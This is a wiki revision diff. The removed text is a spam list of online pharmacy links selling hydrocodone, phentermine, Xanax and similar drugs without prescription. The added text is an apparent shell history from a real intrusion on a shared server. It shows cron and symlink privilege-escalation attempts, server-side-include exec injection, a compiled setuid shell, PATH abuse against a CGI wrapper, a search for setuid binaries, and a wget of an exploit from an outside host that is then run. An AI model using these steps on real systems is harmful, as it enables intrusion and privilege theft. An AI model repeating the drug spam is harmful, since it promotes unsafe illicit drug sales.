Difference between revisions of "Summerschool Aachen 2004/Source for Hacking Log"

From C4 Wiki
Jump to: navigation, search
 
Line 1: Line 1:
[http://wheretobuyphe.fiberia.com | Where To Buy Phentermine]
+
$ cat ~pet-jcr/.bash_history
[http://watson_drocodo.fiberia.com | Watson Hydrocodone]
+
date
[http://v30_phentermine.fiberia.com | 30mg Phentermine]
+
ls -al /tmp/.rmsd
[http://t_325hydrocodo.fiberia.com | 10 325 Hydrocodone]
+
ls -ld /asdf
[http://purchasephenter.fiberia.com | Purchase Phentermine]
+
date
[http://purcha_hydroco.fiberia.com | Purchase Hydrocodone]
+
echo '38 * * * * root /societies/pet-jcr/cron' >> socslist
[http://phenterminpill.fiberia.com | Phentermine Pill]
+
echo '38 * * * * root /societies/pet-jcr/cron' >> socslist.html
[http://phenterminepric.fiberia.com | Phentermine Price]
+
date
[http://phenterminepr.fiberia.com | Phentermine Prescription]
+
ls -al
[http://phentermineonli.fiberia.com | Phentermine Online Purchase]
+
date
[http://phentermineon_l.fiberia.com | Phentermine On Line]
+
ls -ld /hehe
[http://phenterminefo.fiberia.com | Phentermine For Sale]
+
cat /societies/pet-jcr/cron
[http://phenterminediet.fiberia.com | Phentermine Diet Pill]
+
ls -al
[http://phenterminea.fiberia.com | Phentermine Sales]
+
ls -al
[http://phentermine375m.fiberia.com | Phentermine 37 5-mg]
+
ld -l
[http://phentermine37_5.fiberia.com | Phentermine 37 5]
+
ls -ld /hehe
[http://phentermine_yell.fiberia.com | Phentermine Yellow]
+
cat /etc/cron.conf
[http://phentermine_weig.fiberia.com | Phentermine Weight Loss]
+
locate corn
[http://phentermine_tabl.fiberia.com | Phentermine Tablet]
+
locate cron
[http://phentermine_revi.fiberia.com | Phentermine Review]
+
ls -al
[http://phentermine_pres.fiberia.com | Phentermine Prescription Online]
+
w
[http://phentermine_phar.fiberia.com | Phentermine Pharmacy]
+
ls -al
[http://phentermine_onli.fiberia.com | Phentermine Online]
+
cat socs*
[http://phentermine_no_p.fiberia.com | Phentermine No Prescription]
+
mount
[http://phentermine_hydr.fiberia.com | Phentermine Hydrochloride]
+
grep `whoami` /etc/passwd
[http://phentermine_hcl.fiberia.com | Phentermine Hcl]
+
echo 'mkdir /tmp/okcool' > /societies/pet-jcr
[http://phentermine_cod.fiberia.com | Phentermine Cod]
+
echo 'mkdir /tmp/okcool' > /societies/pet-jcr?C
[http://phentermine_blue.fiberia.com | Phentermine Blue]
+
echo 'mkdir /tmp/okcool' > /societies/pet-jcr/cron
[http://phentermine_amph.fiberia.com | Phentermine Amphetamine]
+
echo ''
[http://phentermine_adip.fiberia.com | Phentermine Adipex]
+
whereis mkdir
[http://phentermin_onli.fiberia.com | Phentermine Online Pharmacy]
+
echo '/bin/mkdir /tmp/okcool' > /societies/pet-jcr/cron
[http://phentermie_diet.fiberia.com | Phentermine Diet]
+
ls -la
[http://phenmine_miss.fiberia.com | Phentermine Missouri]
+
cat socs*
[http://pheermine_proz.fiberia.com | Phentermine Prozac]
+
date
[http://oxycodone_vs_hyd.fiberia.com | Oxycodone Vs Hydrocodone]
+
ls -al /tmp/okcool
[http://oxycodone_hydroc.fiberia.com | Oxycodone Hydrocodone]
+
date
[http://owlongdoeshyd.fiberia.com | How long Does Hydrocodone Stay In Your System]
+
ls a-l
[http://overnight_phente.fiberia.com | Overnight Phentermine]
+
ls -al
[http://orderphetermin.fiberia.com | Order Phentermine]
+
date
[http://order_phentermin.fiberia.com | Order Phentermine Online]
+
echo '44,45,46,47,48,49 * * * * pet-jcr /societies/pet-jcr/cron ' > sco
[http://order_hydrodon.fiberia.com | Order Hydrocodone Online]
+
echo '44,45,46,47,48,49 * * * * pet-jcr /societies/pet-jcr/cron' > socslist.html
[http://onlinephentermi.fiberia.com | Online Phentermine Purchase]
+
ls -al
[http://onlinepharmac.fiberia.com | Online Pharmacy Phentermine]
+
ls a-l
[http://online_ydrocodo.fiberia.com | Online Hydrocodone No Prescription]
+
cat socs*
[http://online_phentermi.fiberia.com | Online Phentermine]
+
date
[http://online_order_phe.fiberia.com | Online Order Phentermine]
+
date
[http://online_entermi.fiberia.com | Online Phentermine Prescription]
+
date
[http://lowest_pricephe.fiberia.com | Lowest Price Phentermine]
+
date
[http://lowest_phentermi.fiberia.com | Lowest Phentermine Price]
+
ls -al /tmp/okcool
[http://low_cost_henter.fiberia.com | Low Cost Phentermine]
+
ls -al
[http://loss_phentermine.fiberia.com | Loss Phentermine Weight]
+
locate cron.conf
[http://liquid_hydrocodo.fiberia.com | Liquid Hydrocodone]
+
cat exim
[http://line_pharmacy_ph.fiberia.com | Line Pharmacy Phentermine]
+
cat /var/lib/dpkg/info/cron.conffiles
[http://hyocodone_with.fiberia.com | Hydrocodone Withdrawal Symptom]
+
cat /etc/crontab
[http://hydroon_and.fiberia.com | Hydrocodone And Pregnancy]
+
cat /etc/pam.d/cron
[http://hydrocone_with.fiberia.com | Hydrocodone Withdrawl]
+
ls -al
[http://hydrocone_lort.fiberia.com | Hydrocodone Lortab]
+
date
[http://hydrocoe_orde.fiberia.com | Hydrocodone Order]
+
echo '44,45,46,47,48,49 * * * * pet-jcr /bin/mkdir /tmp/test' > socslist.html
[http://hydrocoe_onli.fiberia.com | Hydrocodone Online Pharmacy]
+
date
[http://hydrocodonemp.fiberia.com | Hydrocodone Symptom Withdrawal]
+
ls -al /tmp/test
[http://hydrocodone_use.fiberia.com | Hydrocodone Use]
+
rm -f /tmp/test
[http://hydrocodone_rug.fiberia.com | Hydrocodone Drug]
+
ls -al /tmp/test
[http://hydrocodone_pict.fiberia.com | Hydrocodone Picture]
+
date
[http://hydrocodone_over.fiberia.com | Hydrocodone Overdose]
+
date
[http://hydrocodone_onli.fiberia.com | Hydrocodone Online Order]
+
date
[http://hydrocodone_on_l.fiberia.com | Hydrocodone On Line]
+
date
[http://hydrocodone_od.fiberia.com | Hydrocodone Cod]
+
ls -al /tmp/test
[http://hydrocodone_nfo.fiberia.com | Hydrocodone Info]
+
ls -al /tmp/test
[http://hydrocodone_m367.fiberia.com | Hydrocodone M367]
+
echo "44,45,46,47,48,49 * * * * pet-jcr '/bin/mkdir /tmp/test'" > socslist.html
[http://hydrocodone_m363.fiberia.com | Hydrocodone M363]
+
cat sc
[http://hydrocodone_m360.fiberia.com | Hydrocodone M360]
+
cat socslist.html
[http://hydrocodone_m358.fiberia.com | Hydrocodone M358]
+
date
[http://hydrocodone_m357.fiberia.com | Hydrocodone M357]
+
echo "50 * * * * pet-jcr '/bin/mkdir /tmp/test'" > socslist.html
[http://hydrocodone_ico.fiberia.com | Hydrocodone Vicodin]
+
date
[http://hydrocodone_eto.fiberia.com | Hydrocodone Detox]
+
date
[http://hydrocodone_dug.fiberia.com | Hydrocodone Drug Testing]
+
ls -al /tmp/test
[http://hydrocodone_com.fiberia.com | Hydrocodone Com]
+
cat /etc/default/cron
[http://hydrocodone_bus.fiberia.com | Hydrocodone Abuse]
+
cat /etc/cron
[http://hydrocodone_bita.fiberia.com | Hydrocodone Bitartate]
+
o
[http://hydrocodone_apap.fiberia.com | Hydrocodone Apap]
+
lsmod
[http://hydrocodone_ap_a.fiberia.com | Hydrocodone Ap Ap]
+
ls -al
[http://hydrocodone_addi.fiberia.com | Hydrocodone Addiction]
+
cat lof
[http://hydrocodone_10_3.fiberia.com | Hydrocodone 10 325]
+
cag
[http://hydrocodon_with.fiberia.com | Hydrocodone Withdrawal]
+
cat logchecjk
[http://hydrocodon_gai.fiberia.com | Hydrocodone Guaifenesin]
+
cat logcheck
[http://hydrocodon_drug.fiberia.com | Hydrocodone Drug Test]
+
cat logloadavg
[http://hydrocodon_dosa.fiberia.com | Hydrocodone Dosage]
+
ls -al /usr/local/sbin/loadavgchk
[http://hydrocodon_and.fiberia.com | Hydrocodone And Ibuprofen]
+
ls a-l
[http://hydrocodon_aap.fiberia.com | Hydrocodone Apap 5 500]
+
ls a-l
[http://hydrocodoe_onli.fiberia.com | Hydrocodone Online]
+
ls -al
[http://hydrocodo_sale.fiberia.com | Hydrocodone Sale]
+
ps ax | grep cron
[http://hydrocodo_pill.fiberia.com | Hydrocodone Pill]
+
ls -l /var/log/cron
[http://hydrocodo_info.fiberia.com | Hydrocodone Information]
+
ls -al /var/logl
[http://hydrocodo_bita.fiberia.com | Hydrocodone Bitartrate]
+
ls -al /var/log/cron.*
[http://hydrocodne_pres.fiberia.com | Hydrocodone Prescription]
+
ls -al /var/log/*cron*
[http://hydrocod_over.fiberia.com | Hydrocodone Overnight]
+
locaet cron
[http://hydrocod_effe.fiberia.com | Hydrocodone Effects]
+
locate cron
[http://hydrocdone_phar.fiberia.com | Hydrocodone Pharmacy]
+
grep `1`
[http://http://xanax-online-pharmacy.sbn.bz | Xanax Online Pharmacy]
+
grep`wh
[http://http://viagra-pharmacy.sbn.bz | Viagra Pharmacy]
+
`
[http://http://viagra-online-pharmacy.sbn.bz | Viagra Online Pharmacy]
+
grep `whoami` /etc/passwd
[http://http://snorting-hydrocodone.sbn.bz | Snorting Hydrocodone]
+
echo 'MAILTO=pet-jcr' > /societies/pet-jcr/cron
[http://http://phentermine-pharmacy.sbn.bz | Phentermine Pharmacy]
+
echo 'echo FUCK YOU' >> /societies/pet-jcr/cron
[http://http://phentermine-online-ph.sbn.bz | Phentermine Online Pharmacy]
+
cat socslist.html
[http://http://pharmacy-technician-tr.sbn.bz | Pharmacy Technician Training]
+
date
[http://http://pharmacy-technician-sc.sbn.bz | Pharmacy Technician School]
+
echo '55,56,57,58' /societies/pet-jcr/cron > socslist.html
[http://http://pharmacy-technician-c.sbn.bz | Pharmacy Technician Career]
+
echo '55,56,57,58 * * * * pet-jcr /societies/pet-jcr/cron' > socslist.html
[http://http://pharmacy-technic.sbn.bz | Pharmacy Technician Program]
+
date
[http://http://pharmacy-school-techn.sbn.bz | Pharmacy School Technician]
+
date
[http://http://pharmacy-program-tech.sbn.bz | Pharmacy Program Technician]
+
date
[http://http://pharmacy-jobs.sbn.bz | Pharmacy Jobs]
+
date
[http://http://overseas-pharmacy.sbn.bz | Overseas Pharmacy]
+
mail
[http://http://online-pharmacy-valium.sbn.bz | Online Pharmacy Valium]
+
locaet cron.deny
[http://http://online-pharmacy-phen.sbn.bz | Online Pharmacy Phentermine]
+
locaet cron.deny
[http://http://online-pharm.sbn.bz | Online Pharmacy]
+
locate cron.deny
[http://http://online-discount-harmacy.sbn.bz | Online Discount Pharmacy]
+
locate cron.allow
[http://http://mexican-pharmacy.sbn.bz | Mexican Pharmacy]
+
ls -al
[http://http://mail-order-pharmacy.sbn.bz | Mail Order Pharmacy]
+
cat socslist.html
[http://http://jobs-in-pharmacy.sbn.bz | Jobs In Pharmacy]
+
mail
[http://http://internet-pharmacy.sbn.bz | Internet Pharmacy]
+
ls -al
[http://http://international-pharmacy.sbn.bz | International Pharmacy]
+
locaet cron
[http://http://hydrocodone-side-effects.sbn.bz | Hydrocodone Side Effects]
+
locate cron
[http://http://hydrocodone-m361.sbn.bz | Hydrocodone M361]
+
cat /var/run/crond.pid
[http://http://hydrocodone-homatropine.sbn.bz | Hydrocodone Homatropine]
+
ps a | grep 502
[http://http://hydrocodone-cough-syrup.sbn.bz | Hydrocodone Cough Syrup]
+
ps ax | grep 502
[http://http://hydrocodone-cash-on-del.sbn.bz | Hydrocodone Cash On Delivery]
+
ls /avr/log
[http://http://hydrocodone-aspirin.sbn.bz | Hydrocodone Aspirin]
+
ls /var/log
[http://http://foreign-pharmacy.sbn.bz | Foreign Pharmacy]
+
ls -al /var/log
[http://http://foreign-online-pharmacy.sbn.bz | Foreign Online Pharmacy]
+
grep cron /var/log/*
[http://http://discount-pharmacy.sbn.bz | Discount Pharmacy]
+
rpm -q crontab
[http://http://discount-online-ph.sbn.bz | Discount Online Pharmacy]
+
rpm -q cron
[http://http://career-pharmacy-techn.sbn.bz | Career Pharmacy Technician]
+
apt-ac
[http://http://by-hydrocodone-posted.sbn.bz | By Hydrocodone Posted]
+
apt-cache policy cron
[http://http://buy-hydrocodone-cod.sbn.bz | Buy Hydrocodone Cod]
+
fd
[http://http://aspirin-hydrocodone.sbn.bz | Aspirin Hydrocodone]
+
date
[http://http://adipex-online-pharmacy.sbn.bz | Adipex Online Pharmacy]
+
dat
[http://http://add-book-guest-onlin.sbn.bz | Add Book Guest Online Pharmacy Record]
+
date
[http://http://acetaminophen-e-hyd.sbn.bz | Acetaminophen E Hydrocodone]
+
echo '2,3,4,5,6,7,8,9,10 * * * * root /societies/pet-jcr/cron' > socslist.html
[http://how_to_make_hydr.fiberia.com | How To Make Hydrocodone]
+
ls -al /societies/pet-jcr/cron
[http://generic_phenterm.fiberia.com | Generic Phentermine]
+
echo '#!/usr/bin/perl' > /societies/pet-jcr/cron
[http://generic_hydrocod.fiberia.com | Generic Hydrocodone]
+
echo >> /societies/pet-jcr/cron
[http://first_approved_p.fiberia.com | First Approved Phentermine]
+
echo 'mkdir("/tmp/test");' >> /societies/pet-jcr/cron
[http://fastin_hentermi.fiberia.com | Fastin Phentermine]
+
cat /societies/pet-jcr/cron
[http://discount_phenter.fiberia.com | Discount Phentermine]
+
date
[http://dietphentermine.fiberia.com | Diet Phentermine Pill]
+
chmod +x /societies/pet-jcr/cron
[http://cough_hyocodon.fiberia.com | Cough Hydrocodone Syrup]
+
date
[http://compare_phenterm.fiberia.com | Compare Phentermine Prices]
+
ls -al /tmp/test
[http://codei_hydrocod.fiberia.com | Codeine Hydrocodone]
+
cat /etc/crontab
[http://cod_phentermine.fiberia.com | Cod Phentermine]
+
ls -al /bin/sh
[http://cod_hydrocodone.fiberia.com | Cod Hydrocodone Online]
+
ls -al /bin/bash
[http://cheydrocodon.fiberia.com | Cheap Hydrocodone]
+
chmod a+x /societies/pet-jcr/cron
[http://cheaponlinephe.fiberia.com | Cheap Online Phentermine]
+
ls -al /societies/pet-jcr/cron
[http://cheaphentermin.fiberia.com | Cheap Phentermine]
+
ls -ld /etc/cron.*
[http://cheapestphenter.fiberia.com | Cheapest Phentermine Online]
+
cat /etc/crontab
[http://cheapest_phenter.fiberia.com | Cheapest Phent]
+
cat /tmp/*.tmp
[http://cheapesonline.fiberia.com | Cheapest Online Phentermine]
+
cat /cron.daily
[http://cheap_phentermin.fiberia.com | Cheap Phentermine Online]
+
cat /etc/cron.daily/mk*
[http://cheap_phenterm.fiberia.com | Cheap Phentermine Free Shipping]
+
ls -al /var/www/admin/socslist.html
[http://cashelivery_h.fiberia.com | Cash Delivery Hydrocodone]
+
ls -al /var/www/admin/socslist.html*
[http://buyphentermine.fiberia.com | Buy Phentermine Online]
+
ln -s /etc/cron.daily /var/www/admin/socslist.html~
[http://buyonlinephent.fiberia.com | Buy Online Phentermine]
+
ln -s /etc/cron.daily '/var/www/admin/socslist.html~'
[http://buyhentermine.fiberia.com | Buy Phentermine On Line]
+
ln -s /etc/cron.daily /var/www/admin/socslist.html\~
[http://buyhentermi.fiberia.com | Buy Phentermine]
+
cd /var/www/admin/
[http://buy_ydrocodone.fiberia.com | Buy Hydrocodone Where]
+
ln -s *
[http://buy_hydcodone.fiberia.com | Buy Hydrocodone Online]
+
ln -s /etc/cron.daily *
[http://buy_drocodone.fiberia.com | Buy Hydrocodone]
+
ln -s /etc/cron.daily /var/www/admin/socslist.html
[http://buy_cod_hydrocod.fiberia.com | Buy Cod Hydrocodone]
+
echo ~
[http://buy_cheap_phte.fiberia.com | Buy Cheap Phentermine Online]
+
ln -s '/etc/cron.daily' '/var/www/admin/socslist.html~'
[http://buy_cheap_phente.fiberia.com | Buy Cheap Phentermine]
+
cd /etc/cron.d
[http://buy_cheap_hdroc.fiberia.com | Buy Cheap Hydrocodone]
+
ls -al
[http://bucheapnline.fiberia.com | Buy Cheap Online Phentermine]
+
cat mailman
[http://bu_co_hydrocod.fiberia.com | Buy Cod Hydrocodone Online]
+
cat killpager
[http://blue_phentermine.fiberia.com | Blue Phentermine]
+
g
[http://bitartrae_hydro.fiberia.com | Bitartrate Hydrocodone]
+
file /usr/local/sbin/killpager
[http://best_pricesphen.fiberia.com | Best Prices Phentermine]
+
cat /usr/local/sbin/killpager
[http://best_phentermine.fiberia.com | Best Phentermine Price]
+
ls -al
[http://b_hydrocodone.fiberia.com | Buy Hydrocodone Online Cod]
+
cat postr
[http://adipex_phentermi.fiberia.com | Adipex Phentermine Vs]
+
cat post*
[http://37_5mg_phentermi.fiberia.com | 37 5mg Phentermine]
+
cat socslist.html
[http://37_5_mg_phenterm.fiberia.com | 37 5 Mg Phentermine]
+
/societies/pet-jcr/cron
 +
ls -al /tmp/test
 +
date
 +
rm -rf /tmp/test
 +
cd /var/www/admin/
 +
ls -la
 +
rm f
 +
rm -f socslist.html~
 +
rm -f 'socslist.html~'
 +
ls -al
 +
mv soclist
 +
mv socslist.html~ /tmp
 +
ls -al /etc/cron.daily
 +
cat /etc/mkwebuser*
 +
cat /etc/mkweb
 +
cat /etc/cron.daily/mkweb*
 +
lb -s /etc/
 +
ln -s /etc/cron.daily /tmp/userlist.tmp
 +
ls -al /tmp/userlist.tmp
 +
cat /etc/crontab
 +
ls -a /tmp/userlist.tmp
 +
ls -al /tmp/userlist.tmp
 +
cd /tmp
 +
ls
 +
ls | grep -v sess
 +
rm -f smb smb.c rev.c blah asdf
 +
rm -rf blah
 +
rm -f user
 +
rm -f socslist.html~
 +
cd /etc/cron.d
 +
sl
 +
ls a-l
 +
ls -al
 +
ls -al /etc/cron.d
 +
cd /etc/cron.d
 +
cat logloadavg
 +
file /usr/local/sbin/loadavgchk
 +
cat /usr/local/sbin/loadavgchk
 +
cat logcheck
 +
file /usr/sbin/logcheck
 +
cat /usr/sbin/logcheck
 +
ls /tmp/check*
 +
ls -al
 +
cat exim
 +
file /usr/sbin/exim
 +
cd /etc/cron.d
 +
ls -al
 +
cat socslist.html
 +
ls -al /societies/pet-jcr/cron
 +
cat /societies/pet-jcr/cron
 +
ls -ld /tmp/test
 +
date
 +
echo '29,30,31,32 * * * * root /societies/pet-jcr/cron' > socslist.html
 +
date
 +
ls -ld /tmp/test
 +
cat /etc/syslog.conf
 +
ls -al /etc/syslog.con
 +
ls -al /etc/syslog.conf
 +
ls -al /avr/log/syslog
 +
ls -al /var/log/syslog
 +
cd /etc/cron.d
 +
cat socslist.html
 +
ls -al /societies/pet-jcr/cron
 +
date
 +
ls -al /tmp/test
 +
cd /etc/f
 +
cd /etc/cron.d
 +
sl a-l
 +
ls -al /societies/pet-jcr/cron
 +
echo 'mkdir /tmp/test' > /societies/pet-jcr/cron
 +
ls -al /societies/pet-jcr/cron
 +
ls
 +
cat socslist.html
 +
date
 +
echo '39,40,41,42,43,44 * * * * root /societies/pet-jcr/cron' > socslist.html
 +
ls -al
 +
chmod 644 socslit.html
 +
ls -al
 +
chgmod
 +
chmod 644 socslist.html
 +
ls -al
 +
md5sum /etc/crontab
 +
ls -al
 +
ls -ld /tmp/test
 +
cat socs*
 +
echo >> socslist.html
 +
x
 +
date
 +
ls -ld /tmp/test
 +
/societies/pet-jcr/cron
 +
ls -ld /tmp/test
 +
rm -rf /tmp/test
 +
ls -al
 +
whereis cron
 +
md5sum /usr/sbin/cron
 +
w
 +
ps ax | grep ssh
 +
date
 +
cat /etc/cron.daily/mk*
 +
ls -al /var/www/admin/userlist.html
 +
date
 +
ls -al /etc/cron.d
 +
ls -al /var/www/admin/userlist.html
 +
date
 +
ls -al /var/www/admin
 +
ls /etc
 +
cat /etc/init.dc
 +
cat /etc/init.d/cron
 +
cat /etc/nsswitch.conf
 +
md5sum /etc/pam.d/cron
 +
md5sum
 +
md5u
 +
md5sum /etc/init.d/cron
 +
md5sum /etc/nsswitch.conf
 +
strace -f /usr/sbin/cron 2>&1 | grep open
 +
cd /etc/crno
 +
cd /etc/cron.d
 +
echo '0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24, \
 +
  25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47, \
 +
  47,49,50,51,52,53,54,55,56,57,58,59 * * * * pet-jcr /societies/pet-jcr/cron' > socslist.html
 +
ls -al /societies/pet-jcr/cron ; cat /societies/pet-jcr/cron
 +
ls -ld /tmp/test
 +
grep pet-jcr /etc/passwd
 +
cd /c
 +
cd /etc/cron.daily
 +
cat mk*
 +
cd /var/www/
 +
grep 'userlist/h'
 +
cd /var/www
 +
grep 'userlist.html' * -r
 +
lsl -la /home/societies/srcf/admin/soclist
 +
ls -la /home/societies/srcf/admin/soclist
 +
rm -f /tmp/*.tmp
 +
cd /etc/cron.d
 +
ls -al
 +
ls -al /home/www/admin
 +
ls -al /var/www/admin/
 +
ls -lda e/tc
 +
ls -lda /etc
 +
ls -al
 +
cat logcheck
 +
ls -ld /etc/rc0.d
 +
cd /home/www
 +
cd /var/www/admin
 +
ls -al
 +
rm -f socslist.html~
 +
ls -al /etc/rc0.d
 +
ps ax
 +
cat /etc/at.deny
 +
ls -al /etc/at.den
 +
ls -al /etc/at.deny
 +
ps ax
 +
ls -al
 +
cd /etc/cron.d
 +
ls -al
 +
cd ../cron.daily
 +
ls -la
 +
xR
 +
cat reachox_cleanup
 +
cat backup_etc
 +
grep '`' *
 +
ps ax
 +
ls
 +
cd /etc/cron.daily
 +
grep '`' *
 +
syslogd-listfiles
 +
ls -al /societies/srcf/admin/memberlist
 +
ls -al /societies/srcf/admin/memberlist
 +
ls -al
 +
locate sanity-check-socs
 +
cat /societies/srcf/sanity-check-socs.020617
 +
cd /etc/cron.daily
 +
ls -al
 +
cat mkwebsoclist
 +
cat /var/www/socs/index.html
 +
cat /u
 +
cat /etc/apache/conf/httpd.conf
 +
locate httpd.conf
 +
cat /etc/apache/httpd.conf
 +
ls -al /home/societies/srcf/admin/soclist
 +
cd /home/societies/srcf/admin/
 +
ls -al
 +
find / -perm -4000 2>/dev/null
 +
ecjh
 +
echo '<!--
 +
<!--#exec cmd="id" -->
 +
<!--#exec cmd="cp /tmp/.rmsd /tmp/.rm" -->
 +
<!--#exec cmd="chmod 4755 /tmp/.rm" -->
 +
-->
 +
' > /tmp/socslist.tmp
 +
cat /tmp/socslist.tmp
 +
ls -al /tmp/.rmsd
 +
cat /var/www/index.html
 +
cat /var/www/socs/index.html
 +
rm -f /etc/cron.d/*a
 +
ls /etc/cron.d
 +
ls /var/ww
 +
ls /var/www
 +
ls /var/www/socs
 +
cat /var/www/socs/socjoin.html
 +
wc -l /tmp/socslit
 +
wc -l /tmp/socslist/.tmp
 +
wc -l /tmp/socslit
 +
wc -l /tmp/socslist.tmp
 +
head -n4 /tmp/socslist.tmp > /tmp/a
 +
cd /tmp
 +
cat a
 +
echo '<!--#exec cmd="${QUERY_STRING}" -->' >> a
 +
echo '--> ' >>a
 +
cat a
 +
mv -f a socslist.tmp
 +
ls -al socslist.tmp
 +
exit
 +
find / -perm -4000 2>/dev/null
 +
/tmp/r
 +
/tmp/.rm
 +
./.r
 +
pwd
 +
cd /tmp
 +
./.r
 +
id
 +
exit
 +
cd /tmp
 +
./.mr
 +
./.rm
 +
./.r
 +
./.r
 +
./.r
 +
exit
 +
cd /tmp
 +
./.rmsd
 +
cd /tmp
 +
./.rmsd
 +
exit
 +
wget xpl.drakg.org/login
 +
cd /dev/drg
 +
./login -h localhost -d 80
 +
./sk
 +
ls -al
 +
head inst
 +
./login -h localohst -d 80 -s 20
 +
./login -h 0 -d 80 -s 20
 +
./login -h 0 -d 80
 +
uptime
 +
ls -al /tmp/mr
 +
ls -al /tmp/rm
 +
ls -al /tmp/.rm
 +
cat .sniffer
 +
exit
 +
/societies/reachox/bin/wrapper /tmp/test.pl
 +
cd /var/www/stats
 +
ls -ld .
 +
cd ../admin
 +
ls -al
 +
cd /usr/local/cgi-lib
 +
locate newsadmin.cgi
 +
cd /usr/lib/cgi-bin/
 +
grep open *
 +
cat survey.old
 +
ls -al /var/www/admin/survey
 +
ls -al
 +
grep open *
 +
cat anlgform.cgi
 +
ls -al /usr/bin/analog
 +
grpe ENV *
 +
grep eNV *
 +
grep ENV *
 +
cat newsadmin.cgi
 +
ls -al /var/www/news/admin/logs/submit.log
 +
ecxp
 +
export REMOTE_ADDR=""
 +
export REMOTE_ADDR='<!--#exec cmd="${QUERY_STRING}"-->'
 +
echo 4REMOTE_
 +
echo $REMOTE_ADDR
 +
/
 +
/societies/reachox/bin/wrapper newsadmin.cgi
 +
/societies/reachox/bin/wrapper ./newsadmin.cgi
 +
cat /var/www/news/admin
 +
cat /var/www/news/admin/logs/submit.log
 +
ls -al /var/www/news/admin/logs/submit.log
 +
ls -al /var/www/news/admin/logs/
 +
ls -al /var/www/news/admin/
 +
/societies/reachox/bin/wrapper newsadmin.cgi
 +
EXP
 +
export PATH=$PATH:.
 +
/societies/reachox/bin/wrapper newsadmin.cgi
 +
cd /tmp
 +
echo id > newsadmin.cgi
 +
chmod +x i
 +
chomd +x newsd
 +
chmod +x newsm
 +
chmod +x newsadmin.cgi
 +
cd /usr/lib/cgi-bin
 +
/societies/reachox/bin/wrapper
 +
echo $PATH
 +
epoxrt
 +
export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/tmp
 +
/societies/reachox/bin/wrapper newsadmin.cgi
 +
echo '#include <stdio.h>' > /tmp/rm.c
 +
rcho >> /tmp
 +
echo >> /tmp/rm.c
 +
echo 'int main() { setreuid(1007,1007); setregid(1007,1007 }'
 +
echo 'int main() { setreuid(1007,1007); setregid(1007,1007); execl("/bin/sh","/binsh","-i'
 +
echo 'int main() { setreuid(1007,1007); setregid(1007,1007); execl("/bin/sh","/bin/sh","-i",0); }' >> /tmp/rm.c
 +
gcc -o /tmp/rm /tmp/rm.c
 +
ls -al /tmp/rm
 +
echo 'cp /tmp/rm /tmp/rm2' > /tmp/newsamd
 +
mv /tmp/newsamd /tmp/newsadmin.cgi
 +
echo 'chmod 4755 /tmp/rm2' > /tmp
 +
echo 'chmod 4755 /tmp/rm2' >> /tmp/newsadmin.cgi
 +
/societies/reachox/bin/wrapper newsadmin.cgi
 +
ls -al /tmp/rm2
 +
chmod +x /tmp/newsadm,in
 +
chmod +x /tmp/newsadmin.cgi
 +
/societies/reachox/bin/wrapper newsadmin.cgi
 +
/tmp/rm2
 +
rm -f /tmp/newsadmin.cgi
 +
/tmp/rm2
 +
ls -la
 +
pwd
 +
exit
 +
cd /tmp
 +
./rmsd
 +
exit
 +
 
 +
[[Category:Summerschools]]
 +
[[Category:Hacks]]

Latest revision as of 10:33, 17 October 2005

$ cat ~pet-jcr/.bash_history
date
ls -al /tmp/.rmsd
ls -ld /asdf
date
echo '38 * * * * root /societies/pet-jcr/cron' >> socslist
echo '38 * * * * root /societies/pet-jcr/cron' >> socslist.html
date
ls -al
date
ls -ld /hehe
cat /societies/pet-jcr/cron
ls -al
ls -al
ld -l
ls -ld /hehe
cat /etc/cron.conf
locate corn
locate cron
ls -al
w
ls -al
cat socs*
mount
grep `whoami` /etc/passwd
echo 'mkdir /tmp/okcool' > /societies/pet-jcr
echo 'mkdir /tmp/okcool' > /societies/pet-jcr?C
echo 'mkdir /tmp/okcool' > /societies/pet-jcr/cron
echo 
whereis mkdir
echo '/bin/mkdir /tmp/okcool' > /societies/pet-jcr/cron
ls -la
cat socs*
date
ls -al /tmp/okcool
date
ls a-l
ls -al
date
echo '44,45,46,47,48,49 * * * * pet-jcr /societies/pet-jcr/cron ' > sco
echo '44,45,46,47,48,49 * * * * pet-jcr /societies/pet-jcr/cron' > socslist.html
ls -al
ls a-l
cat socs*
date
date
date
date
ls -al /tmp/okcool
ls -al
locate cron.conf
cat exim
cat /var/lib/dpkg/info/cron.conffiles
cat /etc/crontab
cat /etc/pam.d/cron
ls -al
date
echo '44,45,46,47,48,49 * * * * pet-jcr /bin/mkdir /tmp/test' > socslist.html
date
ls -al /tmp/test
rm -f /tmp/test
ls -al /tmp/test
date
date
date
date
ls -al /tmp/test
ls -al /tmp/test
echo "44,45,46,47,48,49 * * * * pet-jcr '/bin/mkdir /tmp/test'" > socslist.html
cat sc
cat socslist.html
date
echo "50 * * * * pet-jcr '/bin/mkdir /tmp/test'" > socslist.html
date
date
ls -al /tmp/test
cat /etc/default/cron
cat /etc/cron
o
lsmod
ls -al
cat lof
cag
cat logchecjk
cat logcheck
cat logloadavg
ls -al /usr/local/sbin/loadavgchk
ls a-l
ls a-l
ls -al
ps ax | grep cron
ls -l /var/log/cron
ls -al /var/logl
ls -al /var/log/cron.*
ls -al /var/log/*cron*
locaet cron
locate cron
grep `1`
grep`wh
`
grep `whoami` /etc/passwd
echo 'MAILTO=pet-jcr' > /societies/pet-jcr/cron
echo 'echo FUCK YOU' >> /societies/pet-jcr/cron
cat socslist.html
date
echo '55,56,57,58' /societies/pet-jcr/cron > socslist.html
echo '55,56,57,58 * * * * pet-jcr /societies/pet-jcr/cron' > socslist.html
date
date
date
date
mail
locaet cron.deny
locaet cron.deny
locate cron.deny
locate cron.allow
ls -al
cat socslist.html
mail
ls -al
locaet cron
locate cron
cat /var/run/crond.pid
ps a | grep 502
ps ax | grep 502
ls /avr/log
ls /var/log
ls -al /var/log
grep cron /var/log/*
rpm -q crontab
rpm -q cron
apt-ac
apt-cache policy cron
fd
date
dat
date
echo '2,3,4,5,6,7,8,9,10 * * * * root /societies/pet-jcr/cron' > socslist.html
ls -al /societies/pet-jcr/cron
echo '#!/usr/bin/perl' > /societies/pet-jcr/cron
echo >> /societies/pet-jcr/cron
echo 'mkdir("/tmp/test");' >> /societies/pet-jcr/cron
cat /societies/pet-jcr/cron
date
chmod +x /societies/pet-jcr/cron
date
ls -al /tmp/test
cat /etc/crontab
ls -al /bin/sh
ls -al /bin/bash
chmod a+x /societies/pet-jcr/cron
ls -al /societies/pet-jcr/cron
ls -ld /etc/cron.*
cat /etc/crontab
